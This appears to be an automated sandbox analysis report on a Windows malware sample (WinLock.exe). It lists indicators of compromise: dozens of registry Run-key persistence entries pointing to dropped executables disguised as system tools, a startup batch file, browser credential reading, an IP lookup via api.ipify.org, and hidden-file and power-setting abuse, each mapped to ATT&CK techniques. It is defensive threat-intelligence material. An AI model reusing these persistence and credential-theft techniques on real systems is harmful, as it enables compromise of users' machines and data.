789722e6c338e8b28e317ca0af76c3dbe3bb221b6f4309a49e3e154005e0607a

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinSystemServiceUpdate.bat	WinLock.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinSystemServiceUpdate.bat	WinLock.exe

Executes dropped EXE 56 IoCs

pid	Process
5804	powercfg.exe
6112	mtstocom.exe
2088	GamePanel.exe
4176	runonce.exe
4972	icacls.exe
4892	Register-CimProvider.exe
3908	mobsync.exe
3080	setup.exe
2332	Netplwiz.exe
1512	cttune.exe
4772	cttune.exe
5320	TpmTool.exe
4124	UnregisterResize.exe
4396	ExpandEnable.exe
4268	runonce.exe
4384	ExpandEnable.exe
3008	UnregisterResize.exe
3836	OutSave.exe
2800	gpupdate.exe
1248	wlanext.exe
760	OutSave.exe
1864	powercfg.exe
1092	runonce.exe
4776	cttune.exe
4992	wlanext.exe
1508	mobsync.exe
3976	gpupdate.exe
2828	powercfg.exe
2336	TpmTool.exe
4784	OutSave.exe
3056	wscadminui.exe
3100	msra.exe
2800	mobsync.exe
4740	Netplwiz.exe
3908	gpupdate.exe
4912	recover.exe
4120	msra.exe
2476	UnregisterResize.exe
5656	msra.exe
6120	msra.exe
3200	runonce.exe
3040	fontview.exe
2892	TpmTool.exe
2024	cmdl32.exe
2812	msra.exe
1428	mobsync.exe
5880	Netplwiz.exe
6040	UnregisterResize.exe
5692	fontview.exe
2828	tttracer.exe
4204	recover.exe
800	InputSwitchToastHandler.exe
4252	ExpandEnable.exe
3176	cttune.exe
5644	Process not Found
5756	Process not Found

Modifies file permissions 1 TTPs 1 IoCs

File and Directory Permissions Modification

T1222

pid	Process
4972	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 64 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\newdev_8 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Outlook Logging\\Logs\\UpdateCache\\newdev.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\OutSave_1 = "\"C:\\Users\\Admin\\AppData\\Roaming\\UnpublishLock\\UpdateCache\\OutSave.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\tar_8 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\\Logs\\UpdateCache\\tar.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\GamePanel_6 = "\"C:\\Users\\Admin\\AppData\\Local\\PeerDistRepub\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\GamePanel.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\setup_7 = "\"C:\\ProgramData\\Adobe\\Setup\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\UpdateCache\\UpdateCache\\setup.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\PATHPING_4 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\PATHPING.EXE\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\mtstocom_2 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\mtstocom.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\fltMC_6 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\UpdateCache\\fltMC.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\tzutil_2 = "\"C:\\Users\\Admin\\AppData\\Local\\ConnectedDevicesPlatform\\Logs\\tzutil.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\DWWIN_2 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\\Logs\\UpdateCache\\DWWIN.EXE\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\RmClient_2 = "\"C:\\Users\\Admin\\AppData\\Local\\Mozilla\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\RmClient.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\dccw_3 = "\"C:\\ProgramData\\SoftwareDistribution\\Logs\\UpdateCache\\dccw.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\mshta_7 = "\"C:\\ProgramData\\MicrosoftService\\mshta.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\InputSwitchToastHandler_7 = "\"C:\\ProgramData\\Microsoft OneDrive\\Logs\\InputSwitchToastHandler.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\UnregisterResize_5 = "\"C:\\Users\\Admin\\AppData\\Roaming\\SwitchSuspend\\UpdateCache\\UpdateCache\\UnregisterResize.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\mmc_8 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\{040B8821-DB86-4C0F-BFEB-D962113052E3}\\Logs\\UpdateCache\\mmc.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\wlanext_1 = "\"C:\\Users\\Admin\\AppData\\Roaming\\InvokeOut\\Logs\\UpdateCache\\wlanext.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\findstr_7 = "\"C:\\ProgramData\\MicrosoftService\\findstr.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\ctfmon_2 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\ctfmon.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\cttune_1 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Adobe\\Logs\\cttune.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\resmon_2 = "\"C:\\Users\\Admin\\AppData\\Local\\D3DSCache\\Logs\\UpdateCache\\resmon.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\PATHPING_4 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\Logs\\UpdateCache\\PATHPING.EXE\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\gpupdate_1 = "\"C:\\Users\\Admin\\AppData\\Roaming\\PopConvert\\Logs\\UpdateCache\\UpdateCache\\gpupdate.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\wscadminui_5 = "\"C:\\Users\\Admin\\AppData\\Roaming\\UninstallMeasure\\Logs\\UpdateCache\\wscadminui.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\ROUTE_6 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\ROUTE.EXE\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemPropertiesDataExecutionPrevention_7 = "\"C:\\ProgramData\\MicrosoftService\\SystemPropertiesDataExecutionPrevention.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\setup_3 = "\"C:\\ProgramData\\Adobe\\Setup\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\UpdateCache\\setup.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\wscript_2 = "\"C:\\Users\\Admin\\AppData\\Local\\Adobe\\Logs\\wscript.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\compact_7 = "\"C:\\ProgramData\\MicrosoftService\\compact.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\setup_3 = "\"C:\\ProgramData\\Adobe\\Setup\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\UpdateCache\\UpdateCache\\UpdateCache\\setup.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\VC_redist.x64_7 = "\"C:\\ProgramData\\Package Cache\\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\\UpdateCache\\VC_redist.x64.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\wecutil_6 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\UpdateCache\\wecutil.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\recover_5 = "\"C:\\Users\\Admin\\AppData\\Roaming\\EditExport\\Logs\\UpdateCache\\UpdateCache\\recover.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\tasklist_6 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\tasklist.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\credwiz_7 = "\"C:\\ProgramData\\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\\Logs\\credwiz.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\wecutil_6 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\wecutil.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\dtdump_2 = "\"C:\\Users\\Admin\\AppData\\Local\\Packages\\Logs\\UpdateCache\\UpdateCache\\dtdump.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\agentactivationruntimestarter_7 = "\"C:\\ProgramData\\Oracle\\Logs\\UpdateCache\\UpdateCache\\agentactivationruntimestarter.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\rekeywiz_7 = "\"C:\\ProgramData\\regid.1991-06.com.microsoft\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\rekeywiz.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\recover_5 = "\"C:\\Users\\Admin\\AppData\\Roaming\\EditExport\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\recover.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\GamePanel_2 = "\"C:\\Users\\Admin\\AppData\\Local\\PeerDistRepub\\Logs\\UpdateCache\\UpdateCache\\GamePanel.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\win32calc_4 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\912939012\\Logs\\win32calc.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\raserver_7 = "\"C:\\ProgramData\\MicrosoftService\\raserver.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\newdev_4 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Outlook Logging\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\newdev.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\dtdump_2 = "\"C:\\Users\\Admin\\AppData\\Local\\Packages\\Logs\\UpdateCache\\dtdump.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\srdelayed_3 = "\"C:\\ProgramData\\MicrosoftService\\srdelayed.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\taskkill_2 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\mozilla-temp-files\\Logs\\UpdateCache\\taskkill.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\mcbuilder_4 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\OneNote\\Logs\\UpdateCache\\UpdateCache\\mcbuilder.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\psr_3 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\fontview_3 = "\"C:\\ProgramData\\ssh\\Logs\\UpdateCache\\UpdateCache\\fontview.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\ROUTE_7 = "\"C:\\ProgramData\\MicrosoftService\\ROUTE.EXE\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\win32calc_4 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\912939012\\Logs\\UpdateCache\\win32calc.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\mcbuilder_4 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\OneNote\\Logs\\mcbuilder.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\runonce_5 = "\"C:\\Users\\Admin\\AppData\\Roaming\\RedoConvertTo\\Logs\\UpdateCache\\runonce.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\MuiUnattend_6 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\MuiUnattend.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\unregmp2_3 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\MRINFO_6 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\MRINFO.EXE\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\PATHPING_4 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\PATHPING.EXE\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\tzutil_2 = "\"C:\\Users\\Admin\\AppData\\Local\\ConnectedDevicesPlatform\\Logs\\UpdateCache\\UpdateCache\\tzutil.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\taskkill_4 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\mozilla-temp-files\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\taskkill.exe\" --guard"	WinLock.exe

Drops desktop.ini file(s) 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Internet Connection Discovery

T1016.001

flow	ioc
6	api.ipify.org
1	api.ipify.org

Power Settings 1 TTPs 11 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1864	powercfg.exe
2828	powercfg.exe
4708	Process not Found
3688	cmd.exe
2836	cmd.exe
3220	cmd.exe
5804	cmd.exe
5752	cmd.exe
5276	Process not Found
4576	cmd.exe
5804	powercfg.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2384	cmd.exe
3272	cmd.exe
3244	cmd.exe
5192	cmd.exe
4416	cmd.exe
1668	cmd.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5696	cmd.exe
4484	cmd.exe
1380	Process not Found
684	cmd.exe
1680	cmd.exe
3200	Process not Found
3448	Process not Found
4688	cmd.exe
712	cmd.exe
5776	cmd.exe
2052	cmd.exe
4240	Process not Found
1136	Process not Found
2480	cmd.exe
5092	cmd.exe
4084	cmd.exe
4356	cmd.exe
2896	cmd.exe
1092	cmd.exe
5288	Process not Found
4196	cmd.exe
4596	cmd.exe
5636	cmd.exe
3032	cmd.exe
4824	Process not Found
2864	cmd.exe
1196	cmd.exe
3616	cmd.exe
5984	cmd.exe
2664	Process not Found
4260	cmd.exe
4164	Process not Found
3936	cmd.exe
3972	cmd.exe
1580	cmd.exe
5468	Process not Found
5756	Process not Found
5948	cmd.exe
1760	cmd.exe
4840	cmd.exe
5472	Process not Found
3780	cmd.exe
5500	cmd.exe
2628	cmd.exe
792	cmd.exe
5196	cmd.exe
4928	cmd.exe
3988	cmd.exe
2212	Process not Found
3976	cmd.exe
3156	Process not Found
5072	cmd.exe
2900	cmd.exe
2008	cmd.exe
3012	Process not Found
2944	Process not Found
2420	Process not Found
3340	cmd.exe
2704	cmd.exe
2392	cmd.exe
5068	cmd.exe
5624	cmd.exe
2000	cmd.exe
4924	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UnregisterResize.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExpandEnable.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OutSave.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 16 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
5580	cmd.exe
4900	cmd.exe
772	cmd.exe
5096	cmd.exe
5980	cmd.exe
6100	cmd.exe
5288	Process not Found
